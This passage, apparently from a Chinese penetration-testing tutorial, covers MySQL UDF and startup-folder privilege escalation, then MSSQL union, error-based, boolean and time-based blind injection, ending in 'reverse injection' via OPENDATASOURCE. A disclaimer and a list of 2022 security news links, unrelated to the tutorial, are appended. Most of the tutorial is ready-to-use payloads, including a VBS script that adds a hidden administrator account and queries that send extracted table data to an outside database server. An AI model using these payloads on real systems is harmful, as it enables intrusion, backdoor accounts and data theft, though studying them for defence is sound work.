--data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so" 方法二： 当没有注入点时，我们可以操作原生 SQL 语句，这种情况下当 secure_file_priv 无限制的时候，我们也是可以手工写文件到 plugin 目录下的： # 直接 SELECT 查询十六进制写入 SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; # 解码十六进制再写入多此一举 SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; 这里的十六进制怎么获取呢？可以利用 MySQL 自带的 hex 函数来编码： # 直接传入路径编码 SELECT hex(load_file('/lib_mysqludf_sys_64.so')); # 也可以将路径 hex 编码 SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)); 一般为了更方便观察，可以将编码后的结果导入到新的文件中方便观察： SELECT hex(load_file('/lib_mysqludf_sys_64.so')) into dumpfile '/tmp/udf.txt'; SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f)) into dumpfile '/tmp/udf.txt'; 方法三： 当webshell有一定权限时，可以直接通过文件上传的方式，上传对应的dll文件 创建自定义函数并调用命令 CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; select * from mysql.func; 验证是否添加成功 调用该函数，即可以mysql权限执行一些系统命令 删除自定义函数 drop function sys_eval; UDF Shell 方法一：UDF.PHP http://pan.dns.outnet/index.php?mod=shares&sid=R1ZXZ0UwdTJuSjVxZEVxd1JCc0E0TWl1VzZ1NjVOWW91Z3U2RExF& 方法二：ntunnel_mysql.php Navicat内置的php-mysq链接文件，上传到目标网站 对navicat进行如下配置即可： 方法三：蚁剑内置插件 启动项提权 windows开机时候都会有一些开机启动的程序，那时候启动的程序权限都是system，因为是system把他们启动的，利用这点，我们可以将自动化脚本写入启动项，达到提权的目的。当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中，这个脚本会在用户登录、开机、关机的时候自动运行。 在windows2003的系统下，启动项路径如下： C:\Documents and Settings\Administrator\「开始」菜单\程序\启动 C:\Documents and Settings\All Users\「开始」菜单\程序\启动 在windows2008的系统下，启动项路径如下： C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup 我们在拿到一个网站的webshell的时候如果想进一步的获得网站的服务器权限，查看服务器上系统盘的可读可写目录，若是启动目录 C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 是可读可写的，我们就可以执行上传一个vbs或者bat的脚本进行提权。 这里使用test.vbs添加用户密码，上传到启动目录重启的时候即可自动添加账号密码 set wshshell=createobject("wscript.shell") a=wshshell.run("cmd.exe /c net user test test123 /add",0) b=wshshell.run("cmd.exe /c net localgroup administrators test /add",0) 通过mysql的话： use mysql; create table test(cmd text); insert into a values(“set wshshell=createobject(“”wscript.shell””)”); insert into a values(“a=wshshell.run(“”cmd.exe /c net user test test123 /add“”,0)”); insert into a values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators test /add“”,0)”); select * from a into outfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs”; 重启之后可以提权 CVE-2016-6663和CVE-2016-6664 https://www.freebuf.com/articles/web/288941.htmlhttps://lengjibo.github.io/mysqludf/MSSQL MSSQL基础 系统自带库 MSSQL安装后默认带了六个数据库 4个系统库：master、model、tempdb和msdb； 2个示例库：NorthwindTraders和pubs 系统视图表 MSSQL数据库有安装的自带数据表： MSSQL权限控制 服务器角色 可以通过如下语句判断： select is_srvrolemember('sysadmin') 数据库角色 可以通过如下语句判断： select is_member('db_owner') MSSQL常用语句 # 创建数据库 create database [dbname]; create database test; # 删除数据库 drop database [dbname]; drop database test; # 创建新表 create table table_name (name char(10),age tinyint,sex int); # 创建新表前要选择数据库，默认是master库 use test; create table admin (users char(255),passwd char(255),sex int); # 删除新表 drop table table_name; drop table dbo.admin; # 向表中插入数据 insert into table_name (column1,column2) values(value1,value2); insert into admin (users,passwd,sex) values('admin','admin',1); # 删除内容 delete from table_name where column1=value1; delete from admin where sex=2; # 更新内容 update table_name set column2=”xxx” where column1=value1; update admin set users='admintest' where sex=2; # 查找内容 select * from table_name where column1=value1; select passwd from admin where users='admin'; 排序&获取下一条数据 MSSQL数据库中没有limit排序获取字段，但是可以使用top 1来显示数据中的第一条数据， 使用 <> 来排除已经显示的数据，获取下一条数据，也就是不等于的意思。 使用not in来排除已经显示的数据，获取下一条数据 ，后面可以跟一个集合。 # 使用<>获取数据 id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'--+ # 使用not in获取数据 id=-2 union select top 1 1,table_name from information_schema.tables where table_name not in(select top 1 table_name from information_schema.tables)--+ id=-2 union select top 1 1,id,name from dbo.syscolumns where id='5575058' and name not in('id','username')--+ MSSSQL注释 单行：--空格 多行：/**/ 常用函数 常见注入类型 联合查询注入 1.判断注入点及类型 ?id=1' and 1=1--+ ?id=1' and 1=2--+ # 那么此处是字符型注入，需要单引号闭合 2.判断字段数 ?id=1' order by 3--+ ?id=1' order by 4--+ 3.联合查询判断回显点 ?id=0' union select 1,2,3--+ 4.获取当前数据库名字和版本信息 ?id=0' union select 1,db_name(),@@version--+ 5.获取所有的数据库名，database在较高版本的SQL Server 中已经变成了动态视图 ?id=0' union select 1,db_name(),name from master.sys.databases where name not in(select top 1 name from master.sys.databases)--+ 6.获取所有的表名，当information前面没有库名时，默认查询当前数据库，与mysql不同，每个数据库都有单独的information表，可以用master.information_schema.tables 来查询不同数据库的信息 ?id=0' union select top 1 1,2,table_name from information_schema.tables where table_name not in (select top 1 table_name from information_schema.tables)--+ 7.获取所有的字段名，多加些限定条件方便注入 ?id=0' union select top 1 1,2,column_name from information_schema.columns where column_name not in (select top 1 column_name from information_schema.columns)--+ ?id=0' union select top 1 1,2,column_name from information_schema.columns where table_name='users' and column_name not in(select top 2 column_name from information_schema.columns where table_name='users')-- 8.获取users表账号密码信息 ?id=0' union select top 1 1,username,password from users--+ 报错注入 MSSQL数据库是强类型语言数据库，当类型不一致时将会报错，配合子查询即可实现报错注入 1.判断注入点 id=1 2.判断是否为MSSQL数据库 # 返回正常为MSSQL id=1 and exists(select * from sysobjects) id=1 and exists(select count(*) from sysobjects) 3.判断数据库版本号 id=1 and @@version>0--+ # @@version是mssql的全局变量，@@version>0执行时转换成数字会报错，也就将数据库信息暴露出来了,必须是在where后面拼接执行 4.获取当前数据库名 and db_name()>0--+ and 1=db_name()--+ # 报错注入的原理就是将其他类型的值转换层int型失败后就会爆出原来语句执行的结果 5.判断当前服务器拥有的权限 and 1=(select IS_SRVROLEMEMBER('sysadmin'))--+ and 1=(select IS_SRVROLEMEMBER('serveradmin'))--+ and 1=(select IS_SRVROLEMEMBER('setupadmin'))--+ and 1=(select IS_SRVROLEMEMBER('securityadmin'))--+ and 1=(select IS_SRVROLEMEMBER('diskadmin'))--+ and 1=(select IS_SRVROLEMEMBER('bulkadmin'))--+ 6.判断当前角色是否为DB_OWNER and 1=(select is_member('db_owner'))--+ # db_owner权限可以通过备份方式向目标网站写文件 7.获取当前用户名 and user_name()>0--+ 8,获取所有数据库名 and (select name from master.sys.databases where database_id=1)>0--+ # 更改database_id的值来获取所有的数据库 9.获取数据库的个数 and 1=(select quotename(count(name)) from master.sys.databases)--+ 10.一次性获取所有数据库库 and 1=(select quotename(name) from master.sys.databases for xml path(''))--+ 11.获取所有的表名 # 获取当前库第一个表 and 1=(select top 1 table_name from information_schema.tables)--+ # 获取当前库第二个表 and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails'))--+ # 获取当前库第三个表 and 1=(select top 1 table_name from information_schema.tables where table_name not in('emails','uagents'))--+ # 也可通过更改top 参数获取表 and 1=(select top 1 table_name from information_schema.tables where table_name not in (select top 5 table_name from information_schema.tables))--+ # quotename和for xml path('')一次性获取全部表 and 1=(select quotename(table_name) from information_schema.tables for xml path(''))--+ # quotename()的主要作用就是在存储过程中，给列名、表名等加个[]、’’等以保证sql语句能正常执行。 12.获取字段名 # 通过top 和 not in 获取字段 and 1=(select top 1 column_name from information_schema.columns where table_name='users')--+ and 1=(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('id','username'))--+ # 通过quotename 和 for xml path('') 获取字段 and 1=(select quotename(column_name) from information_schema.columns where table_name='emails' for xml path(''))--+ 13.获取表中数据 and 1=(select quotename(username) from users for xml path(''))--+ and 1=(select quotename(password) from users for xml path(''))--+ 布尔盲注 1. 判断注入点   and 1=1 and 1=2 and '1'='1' and '1456'='1456'--+ 2.猜解数据库个数 id=1 and (select count(*) from sys.databases)=7--+        # 存在7个数据库 3.猜解数据库名长度 id=1 and len((select top 1 name from sys.databases))=6--+ # 第一个库名长度为6 id=1 and len(db_name())=4--+                              # 当前数据库名长度为4 4.猜解数据库名 id=1 and ascii(substring(db_name(),1,1))=115--+ # 截取库名第一个字符的ascii码为115——s id=1 and ascii(substring(db_name(),2,1))=113--+ # 截取库名第二个字符的ascii码为113——q # 截取第一个库名第一个字符的ascii码为109——m id=1 and ascii(substring((select top 1 name from sys.databases),1,1))=109--+ # 截取第二个库名第一个字符的ascii码为105——i id=1 and ascii(substring((select top 1 name from sys.databases where name not in ('master')),1,1))=105--+ 5.猜解表名 # 截取当前库的第一个表的第一个字符的ascii码为101——e id=1 and ascii(substring((select top 1 table_name from information_schema.tables),1,1))=101--+ # 截取当前库的第二个表的第一个字符的ascii码为117——u id=1 and ascii(substring((select top 1 table_name from information_schema.tables where table_name not in ('emails')),1,1))=117--+ 6.猜解字段名 # 截取当前库的emails表的第一个字符的ascii码为105——i id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),1,1))=105--+ #截取当前库的emails表的第二个字符的ascii码为100——d id=1 and ascii(substring((select top 1 column_name from information_schema.columns where table_name='emails'),2,1))=100--+ 7.猜解表中数据 # username字段的数据第一个字符为D id=1 and ascii(substring((select top 1 username from users),1,1))=68--+ 时间盲注 1.判断是否存在注入 id=1 WAITFOR DELAY '0:0:5'--+ 2.判断权限 # 如果是sysadmin权限，则延时5秒 id=1 if(select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--+ 3.查询当前数据库的长度和名字 # 二分法查询长度 id=1 if(len(db_name()))>40 WAITFOR DELAY '0:0:5'--+ # 查询数据库名字 # substring截取字符串的位置，用ascii转为数字进行二分法查询 id=1 if(ascii(substring(db_name(),1,1)))>50 WAITFOR DELAY '0:0:5'--+ 4.查询数据库的版本 id=1 if(ascii(substring((select @@version),1,1))=77 WAITFOR DELAY '0:0:5'--+ # ascii 77 = M 5.查询表个数,Sysobject 存储了所有表的信息，所有数据库的都放在一起 id=1 if((select count(*) from SysObjects where xtype='u')>5) WAITFOR DELAY '0:0:5'--+ # 当前数据库表的个数为6 6.查询第一个表的长度 # 查询第一个表 id=1 and select top 1 name from SysObjects where xtype='u' # 查询结果为1 (select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') # 利用and，进行判断，9为表长度的猜测 and len(name)=9 # 第一个表名长度为6 id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:5'--+ id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=6)=1) WAITFOR DELAY '0:0:10'--+ 7.查询第一个表的表名 id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))>90)=1) WAITFOR DELAY '0:0:5'--+ id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))=101)=1) WAITFOR DELAY '0:0:5'--+ 8.查询第二个表的长度 # 查询第一个表名，去除emails, emails为第一个表名 select top 1 name from SysObjects where xtype='u' and name not in ('emails') # 同理，第三个表则 and name not in ('emails','uagents') id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emials')) and len(name)=6)<>0) WAITFOR DELAY '0:0:5'--+ 9.查询第二个表的名字 id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=1) WAITFOR DELAY '0:0:5'--+ id=1 if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('emails')) and ascii(substring(name,1,1)>100)!=0) WAITFOR DELAY '0:0:5'--+ 10.查询第一个表中的字段 # and name not in ('')查询第二个字段的时候可以直接在其中，排除第一个字段名 id=1 if((select count(*) from syscolumns where name in (select top 1 name from syscolumns where id = object_id('emails') and name not in ('')) and ascii(substring(name,1,1))=1)！=0) WAITFOR DELAY '0:0:1'--+ 11.查询字段类型 id=1 if((select count(*) from information_schema.columns where data_type in(select top 1 data_type from information_schema.columns where table_name ='emails') and ascii(substring(data_type,1,1))=116)!=0) WAITFOR DELAY '0:0:5'--+ 12.查询数据 # 查询所有数据库 SELECT Name FROM Master..SysDatabases ORDER BY Name # 查询存在password字段的表名 SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password' id=1 if((select count(*) from sysobjects where name in ((select name from sysobjects where name in (SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password') and ascii(substring(sysobjects.name,1,1))>1)))>0) waitfor delay '0:0:1'-- # 查询包含pass的字段名 SELECT top 1 name FROM SysColumns where name like '%pass%' id=1 if((select count(*) from SysColumns where name in (SELECT top 1 name FROM SysColumns where name like '%pass%' and ascii(substring(name,1,1))>1))>0) waitfor delay '0:0:1'-- 反弹注入 反弹注入条件相对苛刻一些，一是需要一台搭建了mssql数据库的vps服务器，二是需要开启堆叠注入。 反弹注入需要使用opendatasource函数。 OPENDATASOURCE(provider_name,init_string) 使用opendatasource函数将当前数据库查询的结果发送到另一数据库服务器中。 基本流程 连接vps的mssql数据库，新建表test，字段数与类型要与要查询的数据相同。 CREATE TABLE test(name VARCHAR(255)) 获取数据库所有表，使用反弹注入将数据注入到表中，注意这里填写的是数据库对应的参数，最后通过空格隔开要查询的数据。 # 查询sysobjects表 ?id=1;insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.sysobjects where xtype='U' --+ # 查询information_schema数据库 ?id=1;insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select table_name from information_schema.tables--+ # 查询information_schema数据库 id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select column_name from information_schema.columns where table_name='admin'--+ # 查询syscolumns表 id=1;insert intoopendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DC18D_test_admin;pwd=123456;database=DB_14DC18D_test').DB_14DC18D_test.dbo.test select name from dbo.syscolumns where id=1977058079--+

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、微软周二修复了118个漏洞，包括一个0day漏洞（CVE-2022-34713） https://www.securityweek.com/already-exploited-zero-day-headlines-microsoft-patch-tuesday 2、VMware确定高危漏洞CVE-2022-31656利用代码已被公开 https://www.securityweek.com/exploit-code-published-critical-vmware-security-flaw 3、研究人员披露了一种新的英特尔 CPU 攻击方法- ÆPIC Leak https://www.securityweek.com/aepic-leak-architectural-bug-intel-cpus-exposes-protected-data 4、 AMD CPU 受"SQUIP"侧信道攻击的影响，可被获取敏感数据 https://www.securityweek.com/amd-processors-expose-sensitive-data-new-squip-attack 5、Adobe发布补丁修复了Acrobat、Reader 中的代码执行漏洞 https://www.securityweek.com/adobe-patch-tuesday-code-execution-flaws-acrobat-reader 6、研究人员将Maui 勒索软件与朝鲜 Andariel APT 关联 https://securityaffairs.co/wordpress/134195/malware/maui-ransomware-andariel-apt.html 7、研究人员在新加坡发现了Classiscam诈骗即服务业务 https://thehackernews.com/2022/08/researchers-uncover-classiscam-scam-as.html 8、黑客使用SHARPEXT浏览器扩展监视Gmail和Aol用户 https://www.hackread.com/nkorea-hackers-sharpext-browser-malware-gmail/ 9、我国 IPv6 网络“高速公路”全面建成：活跃用户达 6.93 亿 https://www.ithome.com/0/633/812.htm 10、以色列警方Pegasus间谍软件原型被曝光 https://www.cnbeta.com/articles/tech/1301271.htm